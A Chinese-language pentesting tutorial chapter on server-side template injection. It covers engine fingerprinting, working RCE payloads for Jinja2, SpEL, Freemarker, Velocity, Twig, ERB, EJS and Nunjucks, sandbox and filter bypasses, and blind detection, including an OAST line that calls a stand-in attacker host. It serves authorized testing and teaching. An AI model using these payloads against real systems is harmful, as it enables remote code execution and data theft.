第 5 章 · 03 SSTI 服务端模板注入


文档摘要

第 5 章 · 03 SSTI 服务端模板注入 本节摘要:SSTI 发生在用户输入以语法而非数据的身份进入模板引擎时—— 经 Jinja 渲染, 经 Velocity / SpEL 渲染, 经 ERB / EJS 渲染。最终影响几乎总是 RCE,因为模板引擎本就为求值表达式而设计,且大多数都泄漏了对宿主语言运行时的访问(Python 内建、Java 反射、JavaScript 原型)。发现成本很低(一个 探测即可),但通往 RCE 的 gadget 链因引擎而异,所以引擎指纹识别是承重的一步。本节讲透攻击面、引擎指纹表、各语言的 gadget 链、绕过技巧与验证方法。 内容来源:原项目知识包 ,汉化并套用体系化模板。

第 5 章 · 03 SSTI 服务端模板注入

本节摘要:SSTI 发生在用户输入以语法而非数据的身份进入模板引擎时——{{user_input}} 经 Jinja 渲染,${user_input} 经 Velocity / SpEL 渲染,<%= user_input %> 经 ERB / EJS 渲染。最终影响几乎总是 RCE,因为模板引擎本就为求值表达式而设计,且大多数都泄漏了对宿主语言运行时的访问(Python 内建、Java 反射、JavaScript 原型)。发现成本很低(一个 {{7*7}} 探测即可),但通往 RCE 的 gadget 链因引擎而异,所以引擎指纹识别是承重的一步。本节讲透攻击面、引擎指纹表、各语言的 gadget 链、绕过技巧与验证方法。

内容来源:原项目知识包 strix/skills/vulnerabilities/ssti.md,汉化并套用体系化模板。

⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。未经授权对他人系统使用这些技术是非法的。

学习目标

阅读完本节,你应当能够:

  1. 区分 SSTI 与 XSS 的本质差异(payload 在服务端、宿主语言中运行)。
  2. 数学探测差异表指纹识别模板引擎(Jinja / Twig / Velocity / SpEL / ERB 等)。
  3. 掌握 Python(Jinja 类穿越)、Java(SpEL T() / Freemarker Execute)、Ruby(反引号)、Node(EJS require)各自的 RCE gadget 链
  4. 说明沙箱逃逸的通用模式(attr 查找、类穿越、构造函数遍历)。
  5. 在输出不回显时用时间盲注与 OAST验证。
  6. 用验证步骤确认漏洞、排除误报
  7. 评估 SSTI 的影响等级

一、攻击面

到达渲染器的输入形态:

  • 表单字段、查询/路径/头部值、cookie、JSON / GraphQL 变量
  • 文档/报告模板处理的文件名与文件元数据
  • 邮件主题/正文/模板选择字段
  • 主题/定制化端点(CSS/HTML 生成、仪表盘小部件、webhook payload 模板)
  • 经下游模板层渲染的 Markdown / WYSIWYG 内容

导致注入的代码模式:

  • 用户输入在 render(template_str) 前被拼接进模板字符串,而非作为上下文变量传给 render(template_obj, context)
  • 面向租户/管理员的「模板编辑器」功能,模板本身用户可控
  • format() / sprintf() / printf 风格链,用户可控的格式串在模板下游
  • YAML / TOML / JSON 值的字符串后来经模板求值

纳入范围的引擎:

  • Python:Jinja2、Mako、Django(受限)
  • Java:Velocity、Freemarker、Thymeleaf(含 SpEL)、JSP EL
  • JS / Node:Handlebars、Nunjucks、EJS、Pug、Marko、Dust
  • Ruby:ERB、Haml、Slim
  • PHP:Twig、Smarty、Blade
  • .NET:Razor、RazorEngine

高价值目标:

  • 邮件渲染管线(主题/正文/「发件人」模板)
  • PDF / 报告生成器(服务端渲染 → 无头浏览器)
  • CMS 主题与插件编辑器
  • webhook 与通知 payload 模板
  • 插值字符串的 API 响应格式化器(分页标签、错误消息、自定义字段渲染)
  • 管理/租户模板编辑器——明确的「编辑你的模板」功能

💡 核心心法:关键区分是模板源用户可控,而非模型变量绑定进模板。正常的 Spring MVC 绑定把 ${userInput} 当值渲染,永远不会重新求值为 SpEL——只有 templateEngine.process(userControlledString, ctx) 才是可利用面。

二、检测通道

注入点与回显

  • 提交一个良性字符串,grep 响应(HTML、JSON、邮件、PDF)找逐字回显
  • 任何用户输入最终进入「明显被模板化」的值(预览面板、「你的消息将看起来像…」面板)都是高信号
  • 检查错误页——许多引擎在堆栈跟踪中泄漏模板语法

引擎指纹识别(差异探测)

经典差异探测——大多数引擎只求值以下其中之一,从而暴露身份:

探测 渲染为 引擎家族
{{7*7}} 49 Jinja2 / Twig / Nunjucks
{{7*'7'}} 7777777(Jinja)或 49(Twig) 区分 Jinja 与 Twig
${7*7} 49 Velocity / Freemarker / SpEL / JSP EL / Thymeleaf
<%= 7*7 %> 49 ERB / EJS
#{7*7} 49 Pug / 某些 Ruby 上下文
{{= 7*7 }} 49 doT.js

对 Thymeleaf,*{...} 选择表达式形式也会求值,但只在 th:object 作用域内;${...} 是通用探测。

次要信号:错误消息文本(堆栈跟踪中的引擎名)、注释语法差异({# #} Jinja vs <%# %> ERB vs {* *} Smarty)、过滤器语法(| vs : vs 空格)。

盲探测

输出不回显时:

  • 时间型:在宿主语言上触发 sleep 的 payload(Jinja 用 {{''.__class__.__mro__[1].__subclasses__()[<idx>](...)}},SpEL 用 ${T(java.lang.Thread).sleep(5000)},ERB 用 <%= sleep(5) %>)
  • OAST:执行 DNS 查询或 HTTP 获取到攻击者基础设施的 payload({{request.application.__globals__.__builtins__.__import__('socket').gethostbyname('x.attacker.tld')}})
  • 长度 / ETag 差:求值改变 body 长度的 payload,即便值不直接可见

三、利用方法与技术:各引擎 gadget 链

Jinja2 / Mako(Python)

经典的 Python 类穿越——每个对象都暴露其方法解析顺序(MRO),通向 object,而 object 暴露解释器中加载的所有子类,其中包括 subprocess.Popen:

{{''.__class__.__mro__[1].__subclasses__()}}

定位一个有用的子类并调用它。当内建可通过全局到达时的常见 gadget:

{{cycler.__init__.__globals__.os.popen('id').read()}} {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} {{config.__class__.__init__.__globals__['os'].popen('id').read()}}

沙箱绕过:即便有 SandboxedEnvironment,属性查找技巧(|attr('__class__'))与 request.environ 访问也能重新引入可达性。检查应用是否把 requestconfigcycler 或任何框架全局暴露进模板上下文。

Velocity / Freemarker / Thymeleaf(Java)

SpEL(Spring 表达式语言)——被 Thymeleaf 和各种 Spring 组件使用——通过 T() 类型操作符到达 Runtime。注意 Runtime.exec() 返回的 java.lang.Process 对象,其 toString()"Process[pid=...]",不是命令的 stdout。要拿到回显输出,需消费进程的 InputStream:

${T(java.lang.Runtime).getRuntime().exec('id')} ${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

第一种形式确认执行(渲染出的 Process 对象证明调用跑了);Scanner 形式通用可用;IOUtils 形式在 classpath 有 Apache Commons IO 时更短。盲上下文用 OAST 或 sleep 验证。

Freemarker 的 freemarker.template.utility.Execute 在未被列入黑名单时是经典 RCE gadget,且与 Runtime.exec 不同,它直接以字符串返回命令输出:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

Velocity gadget 通常上下文中没有 $Runtime——那不是 Velocity 标准内建。可移植的做法是从任何可达对象做字符串类反射:

#set($s = "") #set($r = $s.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)) $r.exec("id")

这要求默认的 UberspectImpl(Velocity 1.x 及未配 SecureUberspector 的 2.x);同样的 Process.toString() 限制适用——需回显时用 ScannerBufferedReader 捕获 stdout。若应用使用 Velocity Tools,$class(一个 ClassTool)常在作用域内,大幅缩短链。

Thymeleaf 的关键前提:SSTI 要求控制模板源,而非绑定进模板的模型变量。可利用面是 templateEngine.process(userControlledString, ctx)、管理员可编辑的邮件/通知模板、以及由用户输入组合的模板片段。当该面存在时,同样的 SpEL payload 适用。

Smarty / Twig / Blade(PHP)

Twig 沙箱绕过是版本相关的。经典历史 gadget(Twig 1.x)把 system 注册为未定义过滤器回调,再通过过滤器管线调用它:

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}

这已被修补——Twig 2.x / 3.x 中 _self 返回模板名字符串,不再暴露 .env。现代绕过取决于加载了哪些扩展与活动的沙箱策略。

Smarty 的 {php}...{/php} 是历史 RCE 原语,Smarty 3 弃用、Smarty 4 移除。现代 Smarty 的面是静态方法调用与模板对象反射。

Blade(Laravel)在首次渲染时把模板编译为 PHP 并缓存,危险路径是运行时:Blade::render($userControlledString, ...)、用用户输入调用 Blade::compileString(...),或任何可到达的 @php ... @endphp 块——三者都是直接 RCE。

ERB / Haml(Ruby)

直接 Ruby 求值——反引号是回显命令输出的最短路径:

<%= `id` %> <%= IO.popen('id').read %> <% require 'open3'; out, _ = Open3.capture2('id'); %><%= out %> <%= system('id') %>

前三个把命令的 stdout 渲染进响应。system('id') 返回 true/false,把命令输出打印到服务器的 stdout 而非 HTTP body——适合确认执行成功,但不捕获输出。响应不回显时配合 OAST 或副作用(文件写入、DNS 查询)。

Handlebars / Nunjucks / EJS(JavaScript)

EJS 求值内联 JavaScript:

<%= require('child_process').execSync('id').toString() %>

Nunjucks 通过可达对象的构造函数穿越:

{{range.constructor("return require('child_process').execSync('id')")()}}

Handlebars 本身较难(默认助手受限),但把参数传给 evalFunctionchild_process 的自定义助手会重新打开这个面。同时探测原型污染作为 SSTI 放大器——一旦 Object.prototype 被污染,下游模板逻辑可能执行攻击者控制的代码路径。

四、绕过技巧

沙箱逃逸——通用模式:

  • 属性查找替代直接访问:{{x.__class__}} 被拦?试 {{x|attr('__class__')}}
  • 类穿越恢复被删的内建:{{[].__class__.__base__.__subclasses__()}} 枚举所有加载的类
  • 字符串构造游戏:字面量 __import__ 被过滤时,用 '__import__'.__class__
  • 过滤器/函数别名:同一可调用对象经不同名字可达——找一个不在黑名单上的
  • 隐式转换:对象的 __str__ / toString 触发代码,经拼接强制转换

过滤器与解析器规避:

  • 关键字的空白/大小写变体:{{7 *7}}{{ 7*7 }}
  • 字符串拼接组装黑名单标识符:{{('__cl'+'ass__')}}(Jinja 词法器在表达式模式内不识别 {#,故 SQL 风格的 /**/ token 拆分在此无效)
  • 编码分层:payload 先 URL 编码、再 JSON 解码、最后模板渲染——选能穿过过滤器但在渲染前被解码的编码
  • 运算符优先级游戏:((7)*(7))7**77+0+7
  • Null 字节截断:{{x%00.evil}}——对某些模板前过滤器截断 payload,但模板解析器不截断
  • Unicode 标准化:智能引号、全角数字——绕过简单黑名单,渲染时标准化回来

多语言与链式求值:

  • 多引擎管线:引擎 A 的输出喂给引擎 B——构造在两者中都有效的 payload,或逃出 A 注入 B
  • Markdown / RST 嵌在模板中——Markdown 解析器可能剥掉 payload,但代码块能存活并到达模板
  • 格式串 → 模板:模板渲染前先施加 printf 风格格式化;作为格式串无害但作为模板存活的 payload

💡 绕过的本质:沙箱通常是「一次间接」就能逃——属性查找、构造函数遍历、MRO 穿越大多能从「沙箱化」的环境重新到达运行时。

五、验证与误报排除

确认一个 SSTI 真实存在的稳妥步骤:

  1. 两个不同表达式求值:{{7*7}}49{{7*8}}56,排除巧合或硬编码回显。
  2. 演示对象访问:{{self.__class__}}${T(java.lang.Class)},确认运行时反射。
  3. 演示副作用:DNS 查询到攻击者控制的域名、可测时延的 sleep、写到已知路径的文件。
  4. RCE:命令输出捕获在响应中、文件被写入,或含命令输出的 OAST 回调。
  5. 最小 payload:到达 RCE 的最简表达式,而非大杂烩式的多语言 payload。

常见误报:

  • 模板语法被逐字回显({{7*7}} 渲染为 {{7*7}})——那是 XSS 形态,不是 SSTI
  • 沙箱环境中反射成功但可达对象不暴露任何有用的东西(Jinja SandboxedEnvironment 上下文无 request/config)
  • 客户端模板引擎(Vue、Angular、浏览器里跑的 Mustache)——那是客户端模板注入,影响不同(XSS 而非 RCE)
  • 仅构建时模板的 Markdown / 静态站点生成器,无用户输入到达构建
  • 输出在显示前被 HTML 转义,把求值掩盖成 XSS 式回显——用非 HTML 探测({{7*7}} 数字)验证

六、影响评估

  • 远程代码执行于渲染主机(默认结果——几乎每个引擎都泄漏一条通往它的路径)
  • 通过 gadget 链的服务端数据外带(文件系统、env 变量、内部 HTTP)
  • 经被攻陷主机的元数据服务访问而窃取云凭据
  • 横向移动到从渲染器可达的内部服务
  • 经 web shell 或服务账号密钥植入的持久化后门
  • 当被模板化的内容是构建产物时的构建/供应链攻陷

⚠️ SSTI 几乎等价于直接 RCE——任何用户输入到达模板渲染器(而非模板化的上下文变量)的位置,在证明沙箱化之前都应按 RCE 形态对待。

本节要点回顾

  1. 核心心法:SSTI 与 XSS 在同一语法位置本质不同——payload 在服务端、宿主语言中运行,带引擎暴露的所有对象;默认按 RCE 形态对待。
  2. 引擎指纹是承重步:用数学探测差异表({{7*7}}/${7*7}/<%= 7*7 %>)先确定引擎,再选 gadget 链;错引擎的 payload 是浪费请求。
  3. 各语言 gadget:Python(Jinja 类穿越 + 全局 request/config/cycler)、Java(SpEL T(java.lang.Runtime) / Freemarker Execute / Velocity 反射)、Ruby(反引号)、Node(EJS require / Nunjucks 构造函数)。
  4. 沙箱逃逸模式:属性查找(|attr)、类穿越、构造函数遍历、MRO 走子类——沙箱通常是「一次间接」就能逃。
  5. 盲 SSTI:时间型(SpEL Thread.sleep、Jinja 全局穿越到 time.sleep)与 OAST 同样有效;注意裸 __import__ 不在模板命名空间,会抛 UndefinedError
  6. 验证五步:双表达式求值、对象访问演示、副作用、RCE、最小 payload;警惕逐字回显(那是 XSS)、客户端模板、HTML 转义掩盖。
  7. 影响:从 RCE 到数据外带、云凭据窃取、横向移动、持久化、供应链攻陷;默认即高危。

下一节,我们看 RCE(远程代码执行)——把命令注入、反序列化、模板注入、媒体管线等所有「输入到达代码执行原语」的入口统摄起来讲。


发布者: 作者: 灏天文库 转发
评论区 (0)
U